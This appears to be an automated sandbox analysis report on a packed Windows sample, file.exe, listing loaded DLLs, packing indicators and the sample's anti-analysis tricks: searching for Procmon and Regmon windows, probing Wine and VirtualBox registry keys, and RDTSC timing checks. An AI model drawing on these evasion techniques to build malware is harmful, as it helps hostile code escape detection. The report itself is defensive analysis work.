Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2456 --field-trial-handle=2388,i,17003217840531008037,10136595972546319066,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2028 --field-trial-handle=1952,i,10276600850100983597,11233374651624369468,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.shell.servicehostbuilder.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ieframe.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mlang.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ieframe.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wkscli.dll	Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: file.exe

Static file information: File size 1832960 > 1048576

Source: file.exe

Static PE information: Raw size of pfmhduhf is bigger than: 0x100000 < 0x195e00

Source:

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe

Unpacked PE file: 0.2.file.exe.cf0000.0.unpack :EW;.rsrc :W;.idata :W; :EW;pfmhduhf:EW;cvlipfeo:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;pfmhduhf:EW;cvlipfeo:EW;.taggant:EW;

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: file.exe

Static PE information: real checksum: 0x1c6d40 should be: 0x1c5864

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: pfmhduhf
Source: file.exe	Static PE information: section name: cvlipfeo
Source: file.exe	Static PE information: section name: .taggant

Source: file.exe	Static PE information: section name: entropy: 7.977789303429996
Source: file.exe	Static PE information: section name: pfmhduhf entropy: 7.953387252323094

Boot Survival

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot			Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information set: NOOPENFILEERRORBOX

Jump to behavior

Malware Analysis System Evasion

Query firmware table information (likely to detect VMs)

Source: C:\Users\user\Desktop\file.exe

System information queried: FirmwareTableInformation

Jump to behavior

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ECF809 second address: ECF80D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ECF80D second address: ECF826 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F0580563BA6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F0580563BADh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ECF826 second address: ECF83D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0580C30A81h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ECA645 second address: ECA657 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F0580563BACh 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ECA657 second address: ECA65B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ECE889 second address: ECE88D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ECE9CE second address: ECE9F5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007F0580C30A76h 0x0000000a jc 00007F0580C30A76h 0x00000010 popad 0x00000011 jnp 00007F0580C30A86h 0x00000017 jns 00007F0580C30A76h 0x0000001d jmp 00007F0580C30A7Ah 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ECEB27 second address: ECEB2E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ECEB2E second address: ECEB38 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F0580C30A7Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ECEB38 second address: ECEB40 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ECEB40 second address: ECEB44 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ECEB44 second address: ECEB86 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F0580563BA6h 0x00000008 jmp 00007F0580563BB2h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pop edx 0x00000010 pop eax 0x00000011 pushad 0x00000012 jnl 00007F0580563BB9h 0x00000018 push eax 0x00000019 push edx 0x0000001a pushad 0x0000001b popad 0x0000001c jl 00007F0580563BA6h 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ECEB86 second address: ECEB90 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F0580C30A76h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ECEB90 second address: ECEB9A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push esi 0x00000009 pop esi 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ECEB9A second address: ECEBA4 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F0580C30A76h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ECED10 second address: ECED2A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F0580563BB4h 0x00000009 push esi 0x0000000a pop esi 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ECED2A second address: ECED2E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ECED2E second address: ECED64 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push ecx 0x0000000b jno 00007F0580563BAEh 0x00000011 pushad 0x00000012 jmp 00007F0580563BB2h 0x00000017 jnc 00007F0580563BA6h 0x0000001d push eax 0x0000001e pop eax 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ECEEC2 second address: ECEEC6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ECEEC6 second address: ECEEEB instructions: 0x00000000 rdtsc 0x00000002 jl 00007F0580563BA6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007F0580563BB0h 0x0000000f pushad 0x00000010 jno 00007F0580563BA6h 0x00000016 push edx 0x00000017 pop edx 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ECF047 second address: ECF07F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F0580C30A7Eh 0x00000009 popad 0x0000000a push esi 0x0000000b push eax 0x0000000c pop eax 0x0000000d push ecx 0x0000000e pop ecx 0x0000000f pop esi 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F0580C30A87h 0x00000017 js 00007F0580C30A76h 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ECF07F second address: ECF098 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F0580563BA6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d jg 00007F0580563BACh 0x00000013 jng 00007F0580563BA6h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ECF098 second address: ECF09D instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ECF09D second address: ECF0A3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ECF0A3 second address: ECF0B1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push ebx 0x00000006 jo 00007F0580C30A76h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ED150A second address: ED1520 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push esi 0x00000004 pop esi 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp+04h], eax 0x0000000c push eax 0x0000000d push edx 0x0000000e js 00007F0580563BA8h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ED178C second address: ED1796 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ED1880 second address: ED18D6 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F0580563BA8h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a xor dword ptr [esp], 4165A15Fh 0x00000011 mov dx, 9905h 0x00000015 push 00000003h 0x00000017 mov esi, dword ptr [ebp+122D1CF0h] 0x0000001d push 00000000h 0x0000001f mov edi, eax 0x00000021 push 00000003h 0x00000023 mov dx, di 0x00000026 push B125EAD6h 0x0000002b pushad 0x0000002c jmp 00007F0580563BAFh 0x00000031 push eax 0x00000032 push edx 0x00000033 jmp 00007F0580563BB7h 0x00000038 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ED18D6 second address: ED190C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 add dword ptr [esp], 0EDA152Ah 0x0000000e jmp 00007F0580C30A85h 0x00000013 lea ebx, dword ptr [ebp+12459459h] 0x00000019 mov esi, dword ptr [ebp+122D2AB6h] 0x0000001f xchg eax, ebx 0x00000020 pushad 0x00000021 pushad 0x00000022 push edi 0x00000023 pop edi 0x00000024 push eax 0x00000025 push edx 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ED190C second address: ED1929 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 jmp 00007F0580563BAEh 0x0000000b pop eax 0x0000000c popad 0x0000000d push eax 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 push ecx 0x00000013 pop ecx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ED1929 second address: ED1933 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F0580C30A76h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF2CBE second address: EF2CCB instructions: 0x00000000 rdtsc 0x00000002 jns 00007F0580563BA6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push ebx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EBED12 second address: EBED18 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EBED18 second address: EBED1F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF0A9A second address: EF0AA0 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF0BF1 second address: EF0BF5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF0BF5 second address: EF0BFE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF0BFE second address: EF0C0B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jns 00007F0580563BA6h 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF0C0B second address: EF0C17 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 jnc 00007F0580C30A76h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF0F02 second address: EF0F10 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0580563BAAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF1230 second address: EF1257 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jne 00007F0580C30A76h 0x00000009 pop edx 0x0000000a push edi 0x0000000b jmp 00007F0580C30A84h 0x00000010 pop edi 0x00000011 pop edx 0x00000012 pop eax 0x00000013 push eax 0x00000014 push edx 0x00000015 push ebx 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF1257 second address: EF1276 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007F0580563BA6h 0x0000000a pop ebx 0x0000000b push ecx 0x0000000c pushad 0x0000000d popad 0x0000000e jmp 00007F0580563BB0h 0x00000013 pop ecx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF1276 second address: EF1292 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pushad 0x00000004 popad 0x00000005 push esi 0x00000006 pop esi 0x00000007 pop esi 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F0580C30A80h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF1292 second address: EF1296 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF1296 second address: EF129A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF13F2 second address: EF13F6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF13F6 second address: EF13FC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF13FC second address: EF1404 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF1404 second address: EF1408 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF1408 second address: EF140C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF17E7 second address: EF17EB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF17EB second address: EF1815 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0580563BAAh 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push edi 0x0000000c jmp 00007F0580563BB6h 0x00000011 pushad 0x00000012 popad 0x00000013 pop edi 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF1D9D second address: EF1DBC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 push esi 0x00000007 pop esi 0x00000008 popad 0x00000009 jmp 00007F0580C30A80h 0x0000000e popad 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF1DBC second address: EF1DC0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF1DC0 second address: EF1DD3 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push ecx 0x0000000a pop ecx 0x0000000b jg 00007F0580C30A76h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF1DD3 second address: EF1DD9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
